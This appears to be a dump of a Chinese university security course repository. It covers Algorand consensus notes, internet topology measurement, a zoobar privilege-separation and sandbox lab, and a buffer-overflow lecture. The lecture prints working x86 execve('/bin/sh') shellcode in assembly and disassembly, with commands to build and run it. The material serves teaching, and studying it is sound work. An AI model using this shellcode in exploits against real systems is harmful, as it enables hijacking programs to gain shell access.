$\frac{hash}{2^{hashlen}}$来确定; 452 | 453 | ![sortition](algorand/sortition.png) 454 | 455 | - 验证过程就是先验证 $hash$ 的正确性,然后计算 $j$; 456 | 457 | ![verify](algorand/verify.png) 458 | 459 | #### 选择随机种子: 460 | 461 | - 每一轮 $r$ 的种子 $seed_r$ 由前一轮 $r-1$ 确定:当一个用户 $u$ 提议一个新区块时,也提议一个种子: $\left< seed_r, \pi> \right> \gets VRF_{sk_u}(seed_{r-1}\| r)$ ; 462 | - $sk_u$需要在之前就确定,来保证种子的为随机性;(略) 463 | - 种子被包含在每个提议的区块中,所以一旦在$r-1$ 轮达成共识,则确定了第 $r$ 轮的种子; 464 | - 若区块有错误,则 $seed_r = H(seed_{r-1}\| r)$; 465 | - 初始种子由初始参与者通过分布式随机数生成来产生(略);并且每 $R$ 轮,重新选择之前的种子; 466 | 467 | 468 | ### 3.3 区块提议 469 | 470 | - 提议用户数量的阈值 $\tau_{PROPOSER}$ ; 当 $\tau_{PROPOSER}=26$ 时,实际的提议用户数量以很高的概率在1和70之间; 471 | - 用抽签哈希值和子用户索引 $i$ 的哈希值 $H(hash\| i)$ 对区块提议进行优先级排序; 472 | - 用户会丢弃小于当前优先级的区块提议; 473 | - 传播一种消息不包含区块内容,只包含优先级和证明,让大多数用户知道最大优先级的提议者,同时丢弃其它提议; 474 | - 区块等待时间,$\lambda_{STEPVAR} + \lambda_{PRIORITY} $,即完成BA\*最后一步的时间差,加上传播优先级消息的时间;即便这个估计不准确,safety仍然满足; 475 | - 在最坏情况下,恶意提议者会向不同用户提议不同的区块,导致BA\*在空区块上达成共识; 476 | - 用户计票超过阈值 $T\cdot \tau$ ,则输出该票的值,否则在等待一段时间后返回超时; 477 | 478 | ### 3.4 BA\* 479 | 480 | - BA\*执行包含两个阶段:第一阶段中,BA\*将对一个区块达成共识的问题转化为一个对二选一达成一致的问题;第二个阶段中,BA\*将达成一致:或者同意一个区块,或者同意一个空块。 481 | - 每一个阶段包含若干步骤:第一阶段包含2步;第二阶段在最好情况下,即最高优先级提议者是诚实的,包含2步;否则,最坏情况下预期需要11步。 482 | - 每一步中,每个被选出的委员会成员投票,所有用户计票;接收到超过阈值票数的用户(若被选为委员会成员)为下一步投票;否则,用户超时,根据步骤编号来为下一步投票。 483 | - 当网络强连通时,达成最终共识;否则达成临时共识。 484 | - 一个关键设计是除了用户私钥,没有秘密,这使得任何用户都可以“被动参与”:验证签名,计票,达成一致。 485 | 486 | ![reduction](algorand/reduction.png) 487 | 488 | ### 3.5 自举(Bootstrapping) 489 | 490 | - 系统自举:一个创世块,以及一个初始选举种子,这个种子在初始参与者的公钥和权重公开后生成 491 | - 新用户自举:为每个区块产生一个证书(certificate),包括BinaryBA\*()的上一步的所有投票,帮助新用户来达成相同的投票结论 492 | 493 | ### 3.6 通信 494 | 495 | - 假设被抽签抽中的用户可以在攻击者实施DoS攻击之前把区块传播出去 496 | - 网络形成一个随机图,直径为规模的对数,因此传播时间也随着规模的对数增长 497 | 498 | 499 | 500 | 501 | 502 | 503 | 504 | 505 | -------------------------------------------------------------------------------- /advance/infrastructure.md: -------------------------------------------------------------------------------- 1 | # 网络拓扑测量 2 | 3 | 4 | ## 0. 互联网拓扑测量基础 5 | 6 | - 学习一些互联网拓扑测量基础知识,见[幻灯片](supplyments/topology-measurement.pptx) 7 | 8 | ## 1. 网络互联基础设施测量 [mapping_peering_interconnections_conext.pdf](../../../../Downloads/mapping_peering_interconnections_conext.pdf) 9 | 10 | - 参考文献:[Mapping Peering Interconnections to a Facility, CoNEXT 2015. (The best paper)](https://www.caida.org/publications/papers/2015/mapping_peering_interconnections/mapping_peering_interconnections.pdf) [[Slides]](http://www.caida.org/publications/presentations/2015/mapping_peering_interconnections_conext/mapping_peering_interconnections_conext.pdf)[[本地]](supplyments/mapping_peering_interconnections_conext.pdf) 11 | 12 | - 互联网——一个网络的网络,每个网络称为一个自治域(AS) 13 | - AS间互联关系: 14 | - Provider-Customer:前者为后者提供transit服务 15 | - Peer-Peer:两者彼此传递自己和costomer的流量 16 | - AS间互联设施: 17 | - Interconnection/colocation Facility(IF,互联机房):支持网络接入和互联的机房,为用户提供管理、网络、电力、空调、防火等服务。 18 | - 许多大公司,例如Equinix、Telehouse、Interxion在全球运营这类设施。 19 | - 大多数IF是ISP中立的,但也有一些是ISP运营的,例如Level3。 20 | - 在一个大城市中,一个公司会运营多个IF,这些机房互联。 21 | - Internet eXchange Point(IXP,互联网交换点):IXP是通过switch fabric构造的一个Layer-2以太交换机构成的设施。 22 | - 每个IXP有多个高端交换机,称为核心交换机(core switch)。 23 | - 与IXP同一城市的多个IF上部署接入交换机(acess switch),并与核心交换机互联。 24 | - 接入交换机有时与核心交换机通过回程交换机(backhaul switch)互联。 25 | - AS间互联方式: 26 | - Private Peering with Cross-connect(CC,跨站点连接):在不同地点的两个网络通过电路交换网络,例如光纤,彼此互联。 27 | - 大型IF上可能有上千条CC,例如Equinix报告了在其全球的IF上有161.7K条CC(2015 Q2)。 28 | - IXP可以从IF批发购买大量CC,然后IXP成员从IXP购买CC。例如,DE-CIX在法兰克福有900个CC(2015年2月)。 29 | - Public Peering(公开互联):在IXP内的两个成员公开互联。 30 | - 两个AS直接建立BGP会话实现双边互联,或多个AS通过RS(Route Server)实现多边互联。 31 | - IXP通常拥有一个ASN和一个IP前缀。 32 | - 多边互联时,每个AS与IXP的RS建立BGP会话。 33 | - IXP优势在于,租用一个端口,可以与大量AS互联。 34 | - Private Interconnects over IXP(通过IXP来私有互联):也称作tethering(共享)或IXP metro VLAN。 35 | - Tethering:通过IXP内VLAN(例如,IEEE 802.1Q)实现的点对点虚拟私有专线。 36 | - Remote Peering(远程互联):一些IXP允许成员从任何地点接入。 37 | - 可通过Ethernet-over-MPLS实现到IXP的连接。 38 | - 2013年,AMS-IX的近20%成员通过此方式接入。 39 | - 收集AS、机房与IXP映射信息 40 | - AS与机房映射信息:PeeringDB、AS的NOC网页 41 | - IXP与机房映射信息:IXP网站、PeeringDB、PCH、Euro-IX、Af-IX、LAC-IX和APIX 42 | - 2015年,87个国家中263个城市中368个IXP,95个国家中684个城市中1694个机房 43 | - traceroute测量 44 | - 测量系统:RIPE Atlas(6385)、Looking Glasses(1877)、iPlane(147)、CAIDA Ark(107) 45 | - 别名解析(Alias resolution),基于主动探测,与分析(MIDAR) 46 | - IP2AS mapping(基于BGP路由数据,但包含错误),获得三级路径:IP级、路由器级、AS级 47 | - Constrained Facility Search (CFS)算法 48 | 1. 识别公开和私有连接 49 | - 若`IP_A, IP_e, IP_B`,其中`IP_e`为IXP地址,则为公开连接`A, B` 50 | - 若`IP_A, IP_B`,则为私有连接 51 | 2. 初始机房搜索(确定一个AS的IP地址所在机房) ,对于公开连接`IP_A, IP_IXP, IP_B` 52 | 1. Resolved interface: AS A和IXP只有一个公共的机房,则`IP_A`位于该机房 53 | 2. Unresolved local interface:AS A和IXP有多个共同的机房,则`IP_A`位于这些机房之一 54 | 3. AS A和IXP没有公共机房: 55 | 1. Unresolved remote interface: AS A与IXP远程连接 (根据延迟来判断) 56 | 2. Missing data: AS A所在机房数据不完整 57 | 4. 对于私有连接`IP_A, IP_B`,方法类似 58 | 3. 通过别名解析来缩小机房范围:同一台路由器上别名应属于同一机房 59 | 4. 通过定向traceroute发现更多的(之前未探测的)路径,来进一步缩小机房范围。思路是最小化新连接两端机房的交集。 60 | - 进一步确定机房 61 | - 反向搜索:从另一个方向重复之前1-4步 62 | - 邻近启发式:`IP_A, IP_IXP, IP_B`中`IP_A`的机房已经确定,则`IP_B`所在机房应与之接近 63 | - 下面来通过幻灯片学习 64 | 65 | - 其他参考资料: 66 | - [Anatomy of a Large European IXP, SIGCOMM 2012.](https://www.cs.rutgers.edu/~badri/552dir/papers/meas/ager2012.pdf) [[slides]](http://www.caida.org/workshops/wie/1412/slides/wie2014_icastro.pdf) 67 | - [Remote Peering: More Peering without Internet Flattening. CoNEXT 2015](http://conferences2.sigcomm.org/co-next/2014/CoNEXT_papers/p185.pdf) [[slides]](http://www.caida.org/workshops/wie/1412/slides/wie2014_icastro.pdf) 68 | - [Layer 1-Informed Internet Topology Measurement. IMC'14.]() 69 | 70 | 71 | 72 | ## 1. 检测互联基础设施停运 73 | 74 | 参考文献:[Detecting Peering Infrastructure Outages in the Wild, ACM SIGCOMM 2017. (with slides)](http://www.caida.org/publications/presentations/2017/detecting_peering_infrastructure_outages_ucla/)[[本地]](supplyments/detecting_peering_infrastructure_outages_ucla.pdf) 75 | 76 | 摘要:互联(peering)基础设施,即主机托管设施(colocation)和互联网交换点(IXP),位于每个主要城市,拥有数百个网络成员,并支持全球数十万的网络互联。这些基础设施的配置和管理都很好,但是由于电源故障、人为错误,攻击和自然灾害等原因,可能会造成中断。然而,对于这些关键基础设施的停运频率和影响知之甚少。开发了一种新颖轻量级的方法来检测互联基础设施停运。我们的方法论依赖于一个观察:BGP路由更新中声明的BGP团体属性是一个极好但尚未开发的信息源,使我们能够很准确地定位停运位置。我们建立并运营一套系统,可以在建筑物级别定位基础设施停运的中心,并近乎实时地追踪网络的反应。与过去几年公开报道的相比,我们的分析发现了四倍的停运。这种中断对远程网络和互联基础设施产生了重大影响。我们的研究提供了一个互联网在压力下的行为的独特视角,这种压力往往没有报道。 77 | 78 | 79 | 80 | ---- 81 | 82 | -------------------------------------------------------------------------------- /advance/self-mining/a-r.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YuZhang/Security-Courseware/929151c54c6c48190af06a763a3c643e9ad6beb2/advance/self-mining/a-r.png -------------------------------------------------------------------------------- /advance/self-mining/revenue-fomula.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YuZhang/Security-Courseware/929151c54c6c48190af06a763a3c643e9ad6beb2/advance/self-mining/revenue-fomula.png -------------------------------------------------------------------------------- /advance/self-mining/self-mining.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YuZhang/Security-Courseware/929151c54c6c48190af06a763a3c643e9ad6beb2/advance/self-mining/self-mining.png -------------------------------------------------------------------------------- /advance/self-mining/state-machine.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YuZhang/Security-Courseware/929151c54c6c48190af06a763a3c643e9ad6beb2/advance/self-mining/state-machine.png -------------------------------------------------------------------------------- /advance/supplyments/anonymous.pptx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YuZhang/Security-Courseware/929151c54c6c48190af06a763a3c643e9ad6beb2/advance/supplyments/anonymous.pptx -------------------------------------------------------------------------------- /advance/supplyments/bitcoin.pptx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YuZhang/Security-Courseware/929151c54c6c48190af06a763a3c643e9ad6beb2/advance/supplyments/bitcoin.pptx -------------------------------------------------------------------------------- /advance/supplyments/detecting_peering_infrastructure_outages_ucla.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YuZhang/Security-Courseware/929151c54c6c48190af06a763a3c643e9ad6beb2/advance/supplyments/detecting_peering_infrastructure_outages_ucla.pdf -------------------------------------------------------------------------------- /advance/supplyments/mapping_peering_interconnections_conext.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YuZhang/Security-Courseware/929151c54c6c48190af06a763a3c643e9ad6beb2/advance/supplyments/mapping_peering_interconnections_conext.pdf -------------------------------------------------------------------------------- /advance/supplyments/topology-measurement.pptx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YuZhang/Security-Courseware/929151c54c6c48190af06a763a3c643e9ad6beb2/advance/supplyments/topology-measurement.pptx -------------------------------------------------------------------------------- /backup/Trust-as-Qualified-Reliance-on-Information.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YuZhang/Security-Courseware/929151c54c6c48190af06a763a3c643e9ad6beb2/backup/Trust-as-Qualified-Reliance-on-Information.pdf -------------------------------------------------------------------------------- /backup/lab2.md: -------------------------------------------------------------------------------- 1 | 2 | 3 | ## Zoobar特权分离实验 4 | 5 | 本实验学习如何在`zookws`和`zoobar`上应用特权分离,使得其中的bug不会令攻击者来转移zoobar到其账号。 6 | 7 | ### 实验准备 8 | 9 | `zoobar`应用在用户之间转移信贷,该功能通过`transfer.py`实现。下面启动并访问该服务: 10 | 11 | ``` sh 12 | $ sudo make fix-flask 13 | $ make 14 | $ sudo make setup 15 | $ sudo ./zookld zook.conf 16 | ``` 17 | - 用浏览器访问`zoobar`网站,创建两个账号 18 | - 登录到一个用户,向另一个用户转账 19 | - 注册用户可以更新用户profile,向其他用户转账,查看用户余额,profile,较易记录 20 | - 理解`transfer.py`如何实现转账,阅读以下代码 21 | `templates/transfer.html`, `__init__.py`, `transfer.py`, `bank.py` 22 | 23 | - 类似OKWS,用`/jail`目录来建立`chroot` jail 24 | - 编辑`chroot-setup.sh`来改变文件和目录权限,重新执行`sudo make setup` 25 | - 挑战: 26 | - 需要拆分应用 27 | - 确保每个部分在最小特权下运行 28 | 29 | 每个Python脚本中都导入了一个debug库。`debug.py`提供单个函数`log(msg)`,该函数打印消息`msg`和栈踪迹到`stderr`(`zookld`所在终端)。 30 | 31 | 配置文件`zook.conf`中说明每个服务该如何运行: 32 | 33 | ``` 34 | [zookd] cmd = zookd uid = 0 gid = 0 dir = /jail 35 | ``` 36 | `zook.conf`中只包含一个HTTP服务`zookfs_svc`。通过`zookfs`程序实现。`chroot`到`/jail`中,其中包含可执行程序(除了`zookld`),支撑库,`zoobar`站点。详见`zook.conf`和`zookfs.c`。 37 | 38 | ### 利用Unix用户和权限实现特权分离 39 | 40 | #### 练习1:支持chroot和非特权用户 41 | 启动精灵进程`zookld`读取`zook.conf`,设定所有服务在`root`下运行,绑定到特权端口80。 42 | 43 | 在缺省配置中,`zookd`和有漏洞的服务**不正确地**在`root`下运行,`zookld`未jail相关进程。 44 | 45 | 为了修复此问题,应该在`root`之外的非特权用户下运行服务。更改`zookld.c`和`zook.conf`来设定用户ID和组ID,并`chroot`。 46 | 47 | - 更改`zookld.c`中`launch_svc()`来支持`chroot`(使用系统调用`chroots`) 48 | - 更改`zookld.c`中`launch_svc()`来支持`root`之外的用户ID和组ID,(使用系统调用`setresuid`,`setresgid`,`setgroups`) 49 | - 需要更改`chroot-setup.sh`来确保硬盘上的文件只能被正确进程读取,(`chmod`和`chown`命令,或`set_perms`函数,例如`set_perms 1234:5678 755 /path/to/file`设定文件拥有者为1234,组为5678,权限755(rwxr-xr-x)) 50 | 51 | 更改`zook.conf`来使用上述功能。`sudo make check`来验证更改的配置是否通过基本测试 52 | 53 | ### 练习2:拆分服务 54 | 55 | 改造`zookfs_svc`并更改`zook.conf`,将`zookfs_svc`分离成两个在不同用户下运行的服务:`static_svc`提供静态文件和`dynamic_svc`执行动态内容。 56 | 57 | 用`chroot-setup.sh`来设定文件和目录权限,确保静态服务不能读取动态服务中的数据库,动态服务不能更改静态文件,动态服务不能执行其他脚本。 58 | 59 | 分离需要`zookd`来确定哪一个服务应该处理哪一个请求。通过`zookwd`不更改应用或URL来过滤URL。URL过滤器在`zook.conf`中说明,支持正则表达式。例如,`url = .*`来匹配所有请求,而`url = /zoobar/(abc|def)\.html`来匹配`/zoobar/abc.html`和`/zoobar/def.html`。 60 | 61 | 不要为了安全而依赖URL过滤器;极难正确实现。 62 | 63 | 文件系统中有许多可执行文件,不能将它们都标记为不可执行。例如`zookfs`服务需要执行`/jail/usr/bin/python`来运行zoobar站点。已经在`zookfs`添加一个功能,通过设定拥有者和组来只运行可信程序。为使用这一功能,在服务配置文件中加入一行`args = UID GID`,例如`args = 123 456`说明服务只执行用户123和组456的文件。 64 | 65 | 用`sudo make check`来验证更改的配置是否通过基本测试。 66 | 67 | ### RPC库 68 | 69 | 学习RPC库实现进程间通过Unix套接字通信。作为一个演示程序,在`zoobar/echo-server.py`中实现了一个简单的"echo"服务,该服务由`zookld`启动,服务配置在`zook.conf`中。 70 | 71 | `echo-server.py`通过定义一个类`EchoRpcServer`实现,该类继承了`zoobar/rpclib.py`中的`RpcServer`类。`echo-server.py`通过调用`run_sockpath_fork(sockpath)`来启动服务器,该函数监听UNIX域套接字`/echosvc/sock`。 72 | 73 | 包含了一个简单的客户端。访问`/zoobar/index.cgi/echo?s=hello`,请求被路由到`zoobar/echo.py`,该程序连接`/echosvc/sock`并启动echo操作。一旦从echo服务接收到应答,将返回一个包含应答的网页。这个客户端通过`rpclib`中`RpcClient`类的`call`方法实现。 74 | 75 | ### 分离login服务 76 | 77 | 目前攻击者利用漏洞可以从`person`数据库中获得所有用户口令。数据库在`zoobar/db/`中,所有Python代码都能够访问。 78 | 79 | 创建一个新服务来处理用户口令和cookie。目前,所有用户相关信息存储在`Person`表中(见`zoodb.py`)。将认证信息从`Person`表中移动到一个`Cred`表中(Credential,委任状)。将访问该认证信息的代码(`auth.py`)移动到一个分离的服务。 80 | 81 | - 确定认证服务的接口。查看`login.py`和`auth.py`,决定哪些在认证服务上运行,哪些在客户端运行。在`zoobar/auth_client.py`中提供了客户端的初始RPC代码。 82 | - 创建用于用户认证的`auth_svc`服务,参考`echo-server.py`。提供了初始文件`zoobar/auth-server.py`,服务使用`auth.py`中函数。 83 | - 更开`zook.conf`来启动`auth-server`(用一个不同的UID)。 84 | - 从`Person`数据库中分离用户委任状(即口令和token)到`Cred`数据库,存储在`/zoobar/db/cred`。 85 | - 更改`chroot-setup.sh`来在`cred`数据库上设定权限,创建认证服务的socket。 86 | - 更改`login.py`中登录代码来唤起认证服务,而不是直接调用`auth.py`。 87 | 88 | 使用加盐哈希函数来保存密码,哈希函数选择Python的[PBKDF2](https://www.dlitz.net/software/python-pbkdf2/)模块。大致上,用`pbkdf2.PBKDF2(passward, salt).hexread(32)`来焊锡口令。`pbkdf2.py`在`zoobar`目录。用`os.urandom`替代`random.random`来产生salt。 89 | 90 | ### 分离bank服务 91 | 92 | 将`zoobar`账户信息分离到一个`Bank`数据库中,建立`bank_svc`服务,在新的`Bank`和`Transfer`数据库上实现。 93 | 94 | - 分理处`bank_svc`服务,以及认证服务 95 | - 实现`transfer`和`balance`功能,目前在`bank.py`中实现 96 | - 将`zoobar`余额信息放入`Bank`数据库(在`zoodb.py`中) 97 | - 更改`bank-server.py`;将`bank_svc`服务加入到`zook.conf`; 98 | - 更改`chroot-setup.sh`来创建新的`Bank`数据库和服务套接字,设定`Bank`和`Transfer`数据库; 99 | - 创建客户端RPC stub来调用bank服务; 100 | - 更改其余的代码来启动RPC stub,而不是调用`bank.py`的函数; 101 | - 处理账号创建,新用户初始获得10个zoobar。 102 | 103 | 104 | 为了认证`transfer`操作调用者,需要一个额外的`token`参数。 105 | 在`transfer`RPC中加入认证。当前用户token是`g.user.token` 106 | 107 | 使用`sudo make check `来验证。 108 | 109 | 110 | ## Python沙箱实验 111 | 112 | zoobar应用需要被扩展来支持‘可执行profile’,该扩展允许用户使用Python代码作为其profile。当其他用户浏览该用户的Python profile,服务器会执行其中的代码来生成profile输出。由此,用户可在profile中实现不同功能: 113 | 114 | - 用用户名来欢迎访客 115 | - 追踪最近几位访客 116 | - 赠予每位访客一个zoobar(每分钟1个) 117 | 118 | 为安全支持这一功能需要在服务器上用沙箱来装载profile代码,使得profile代码不能执行任意操作或访问任意文件。这些代码需要跟踪一些文件中的持久化数据,或者访问存在的zoobar数据库。需要使用RPC库和一些现成的填充代码来将可执行代码沙箱化。 119 | 120 | `profiles/`目录: 121 | 122 | - `profiles/hello-user.py`是一个简单的profile,打印访客名字与当前时间 123 | - `profiles/visit-tracker.py`跟踪每位访客最近一次查看profile的时间 124 | - `profiles/last-visits.py`记录最后三个访客,并打印 125 | - `profiles/xfer-tracker.py`打印profile拥有者和访客间最近一次交易 126 | - `profiles/granter.py`给访客一个zoobar,条件是profile拥有者还有剩余的zoobar,访客的zoobar少于20,而且距离上次获得一个zoobar的时间至少一分钟 127 | 128 | `zoobar/sanboxlib.py`是实现针对不可信profile的沙箱的模块。`Sandbox`类中`run()`方法执行沙箱中函数。`run`方法fork一个进程并在子进程中执行代码之前调用`setresuid`,令不可信代码没有任何特权。父进程从子进程读取输出,并返回给`run()`的调用者。若子进程在短时间内(5秒)未退出,则父进程杀死子进程。 129 | 130 | `Sandbox.run`使用`chroot`来将不可信代码限制在指定目录,向`Sandbox`构造器传递一个参数。这允许不可信profile代码来形式一些有限的文件系统访问,但`Sandbox`的创建者来决定哪个目录能够被访问。 131 | 132 | `Sandbox`只使用一个UID来运行不可信profile。为避免两个沙箱进程同时运行,使用了一个锁文件。当沙箱执行前,先锁定这个所文件,在沙箱进程退出后释放。若两个进程同时运行沙箱代码,只有一个进程会锁定文件。使用相同UID的所有用户应指定相同的所文件。 133 | 134 | 为阻止不可信代码fork其他进程,`Sandbox`使用Unix的资源限制机制:使用`setrlimit`来限制指定UID的进程数量,所以沙箱化代码不能fork。 135 | 136 | `zoobar/profile-server.py`:一个RPC服务器接收运行某用户profile代码的请求,从执行代码中返回输出。 137 | 138 | 服务器使用`sandboxlib.py`来创建一个`Sandbox`,执行profile(通过`run_profile`函数)。`profile-server.py`创建一个RPC服务器来允许profile代码访问沙箱之外的对象,例如不同用户的zoobar余额。`ProfileAPIServer`实现这一接口;`profile-server.py`fork一个进程来运行`ProfileAPIServer`,将一个连接到服务器的RPC客户端传递给沙箱化代码。 139 | 140 | 因为`profile-server.py`使用`sandboxlib.py`,需要调用`setresuid`来沙箱化进程,所以主进程需要以root来运行。 141 | 142 | 若通过以一个不同UID来运行不可信代码来提高安全,必须以root来运行一部分代码。 143 | 144 | 将`profile-server.py`加入到`zook.conf`中,更改`chroot-setup.sh`来为其套接字创建一个目录`/jail/profilesvc`。`profile-server.py`需要以root运行,将`zook.conf`中UID设定为0. 145 | 146 | - 更改`ProfileServer.rpc_run()`中`uid`从0到其他值 147 | - 保证可以支持5个profile。需要调整`ProfileAPIServer`实现`rpc_get_xfers`或`rpc_xfer`。 148 | 149 | 运行`sudo make check`来测试,遇到问题时检查profiel输出`/tmp/html.out`以及服务器输出`/tmp/zookld.out`。 150 | 151 | 由于所有用户的profile访问相同文件,`ProfileServer.rpc_run()`设定`userdir`到`/tmp`,并传递给沙箱,一个用户profile可能损坏其他用户profile。 152 | 153 | 更改`profile-server.py`中`rpc_run`使得每个用户profile只能访问自己的文件,不能篡改其他用户文件。 154 | 155 | 更改`profile-server.py`中`ProfileAPIServer`来避免其以root运行。在`ProfileAPIServer.__init__`,切换到不同UID。 156 | -------------------------------------------------------------------------------- /buffer-overflow/buffer-overflow-2.md: -------------------------------------------------------------------------------- 1 | # 缓冲区溢出:漏洞利用 2 | 3 | ### 哈尔滨工业大学 网络与信息安全 张宇 2016 4 | 5 | --- 6 | 7 | 本节课学习shellcode原理,并利用漏洞在服务器上运行shellcode,以及return-to-libc攻击。 8 | 9 | ## Shellcode原理 10 | 11 | 参考资料:[Smashing The Stack For Fun And Profit](supplements/Smashing-The-Stack-For-Fun-And-Profit.pdf) [[online]](http://phrack.org/issues/49/14.html#article) 12 | 13 | 利用缓冲区溢出漏洞改写函数返回地址来劫持程序控制流,令其指向预执行代码。通常该代码会启动一个shell,称作"shellcode"。 14 | 15 | 下面是一个C语言程序启动shell的例子。 16 | 17 | ``` c 18 | # include void main() { char *name[2]; name[0] = "/bin/sh"; name[1] = NULL; 19 | /* int execve(const char *filename, char *const argv[], 20 | char *const envp[]); */ execve(name[0], name, NULL); 21 | exit(0); } 22 | ``` 23 | 24 | `execve()`在父进程中fork一个子进程,在子进程中调用`exec()`函数启动新的程序。`exec`系列函数中`execve()`为内核级系统调用。 `execve()`执行第一个参数`filename`字符串所指文件,第二个参数是利用数组指针来传递命令行参数(第一个元素是命令本身),并且要以空指针`null`结束,最后一个参数则为传递给执行文件的新环境变量数组。 25 | 26 | Linux的`execve()`通过寄存器传递参数,由0x80软中断触发`syscall()`调用,过程如下: 27 | 28 | 1. 内存中存在`null`结尾字符串`"/bin/sh"` 29 | 1. 内存中存在`"/bin/sh"的地址`后加一个`null long word` 1. 拷贝`execve`调用编号(`0xb`)到`eax` 1. 拷贝`"/bin/sh"的地址`(`name[0]`)到`ebx` 1. 拷贝`"/bin/sh"的地址的地址`(`name`)到`ecx` 1. 拷贝`null long word的地址`(`envp`)到`edx` 1. 执行`int $0x80`调用`syscall()` 30 | 31 | 若`execve()`调用失败,程序将继续执行,很可能导致崩溃。为在调用失败后仍然可以正常退出,在`execve()`之后添加`exit(0)`: 32 | 33 | 1. 拷贝`exit`调用号(`0x1`)到`exa` 34 | 2. 拷贝`0x0`到`exb` 35 | 3. 执行`int $0x80`调用`syscall()` 36 | 37 | 在shellcode中,多处需要用到地址,一个问题是事先并不知道代码和字符串会被放置在哪里。 38 | 39 | 解决该问题的一种方法是用`jmp`和`call`指令,通过指令指针相对寻址来跳到特定位置,而不需要事先知道准确地址。 40 | 41 | 首先,在通过改写返回地址来跳转到shellcode后,利用`jmp`指令跳转到`call`指令。将`call`指令放在`"/bin/sh"`字符串之前,当执行`call`指令时,字符串地址将被入栈,作为`call`被执行时的返回地址。`call`指令只需简单的跳转到`jmp`之后的代码,执行`pop`指令将栈中的`call`的返回地址,即字符串地址,拷贝到一个寄存器使用。 42 | 43 | 下面是程序描述与跳转示意图: 44 | 45 | 1. 返回地址跳转到shellcode(跳转1) 46 | 2. `jmp`跳转到`call`(跳转2) 47 | 1. `pop`获得`"/bin/sh"地址` 48 | 1. 执行`execv()` 49 | 1. 执行`exit()` 50 | 1. `call`跳转到`pop`(跳转3) 51 | 1. 字符串`"/bin/sh"` 52 | 53 | ``` 54 | low address <———— stack growth ———— high address 55 | 56 | +—————————(3)—————————+ 57 | V | 58 | [jmp][pop][execve()][exit()][call]["/bin/sh"][argv][envp][sfp][ret] 59 | ^ | ^ | 60 | | +—————————(2)——————————————+ | 61 | +——————————————————————————————————(1)——————————————————————————+ 62 | 63 | ``` 64 | 65 | 通常shellcode将被作为字符串注入缓冲区中。由于空字节(null)会被认为是字符串结尾,因此需要将其中的空字节去掉。一种主要手段是用`xorl %eax,%eax`指令来令`eax`寄存器为`0`,用`eax`作为参数,从而避免在参数中直接使用`0`。另外,shellcode越小越好。 66 | 67 | 在实验中提供了3个文件: 68 | 69 | - `shellcode.S`:shellcode汇编代码 70 | - `shellcode.bin`:编译后二进制代码 71 | - `run-shellcode`:直接运行`shellcode.bin` 72 | 73 | 查看完整的shellcode代码`shellcode.S`: 74 | 75 | ``` gas 76 | # include /* 系统调用编号表 */ 77 | 78 | # define STRING "/bin/sh" /* 执行命令字符串 */ 79 | # define STRLEN 7 /* 字符串长度 */ 80 | # define ARGV (STRLEN+1) /* execve()参数2相对于string的偏移量 */ 81 | # define ENVP (ARGV+4) /* execve()参数3相对于string的偏移量 */ 82 | /* argv末尾元素和envp复用同一地址 */ 83 | .globl main /* 令符号main对ld和其他程序可见 */ 84 | .type main, @function /* 设置符号main的类型为函数 */ 85 | 86 | main: 87 | jmp calladdr /* 跳转(2)到call */ 88 | 89 | popladdr: 90 | popl %esi /* 将string地址出栈写入esi, l表示32位 */ 91 | movl %esi,(ARGV)(%esi) /* 将string地址写入argv(string+8) */ 92 | xorl %eax,%eax /* 获得32位的0 */ 93 | movb %al,(STRLEN)(%esi) /* 将string结尾字节置0, %al表示A寄存器16位(%ax)中低8位, b表示字节*/ 94 | movl %eax,(ENVP)(%esi) /* 将envp(string+12)置0(NULL) */ 95 | /* argv末尾元素和envp复用同一0(NULL)*/ 96 | movb $SYS_execve,%al /* syscall参数1: syscall编号 */ 97 | movl %esi,%ebx /* syscall参数2: string地址 */ 98 | leal ARGV(%esi),%ecx /* syscall参数3: argv地址 */ 99 | leal ENVP(%esi),%edx /* syscall参数4: envp地址 */ 100 | int $0x80 /* 调用syscall, $表示数字 */ 101 | 102 | xorl %ebx,%ebx /* syscall参数2: 0 */ 103 | movl %ebx,%eax /* 将eax置0 */ 104 | inc %eax /* syscall参数1: SYS_exit (1) */ 105 | /* 用mov+inc来避免空字节 */ 106 | int $0x80 /* 调用syscall */ 107 | 108 | calladdr: 109 | call popladdr /* 将下一指令(string)地址push入栈后跳转 */ 110 | .ascii STRING /* 将字符串(不追加0)存入连续地址 */ 111 | ``` 112 | 113 | 下列命令用于编译,提取,反编译,执行shellcode: 114 | 115 | - 编译:`gcc -m32 -c -o shellcode.bin shellcode.S` 116 | - 提取二进制指令:`objcopy -S -O binary -j .text shellcode.bin` 117 | - 反编译:`objdump -D -b binary -mi386 shellcode.bin` 118 | - 执行:`./run-shellcode shellcode.bin` 119 | 120 | 下面是反编译的结果: 121 | 122 | ``` gas 123 | $ objdump -D -b binary -mi386 shellcode.bin 124 | 125 | shellcode.bin: file format binary 126 | Disassembly of section .data: 127 | 128 | 00000000 <.data>: 129 | 0: eb 1f jmp 0x21 130 | 2: 5e pop %esi 131 | 3: 89 76 08 mov %esi,0x8(%esi) 132 | 6: 31 c0 xor %eax,%eax 133 | 8: 88 46 07 mov %al,0x7(%esi) 134 | b: 89 46 0c mov %eax,0xc(%esi) 135 | e: b0 0b mov $0xb,%al 136 | 10: 89 f3 mov %esi,%ebx 137 | 12: 8d 4e 08 lea 0x8(%esi),%ecx 138 | 15: 8d 56 0c lea 0xc(%esi),%edx 139 | 18: cd 80 int $0x80 140 | 1a: 31 db xor %ebx,%ebx 141 | 1c: 89 d8 mov %ebx,%eax 142 | 1e: 40 inc %eax 143 | 1f: cd 80 int $0x80 144 | 21: e8 dc ff ff ff call 0x2 145 | 26: 2f das # /bin/sh 146 | 27: 62 69 6e bound %ebp,0x6e(%ecx) 147 | 2a: 2f das 148 | 2b: 73 68 jae 0x95 149 | ``` 150 | 151 | 运行上述shellcode可以启动一个新shell: 152 | 153 | ``` sh 154 | $ ./run-shellcode shellcode.bin 155 | $ 156 | ``` 157 | --- 158 | 159 | ## 代码注入 160 | 161 | 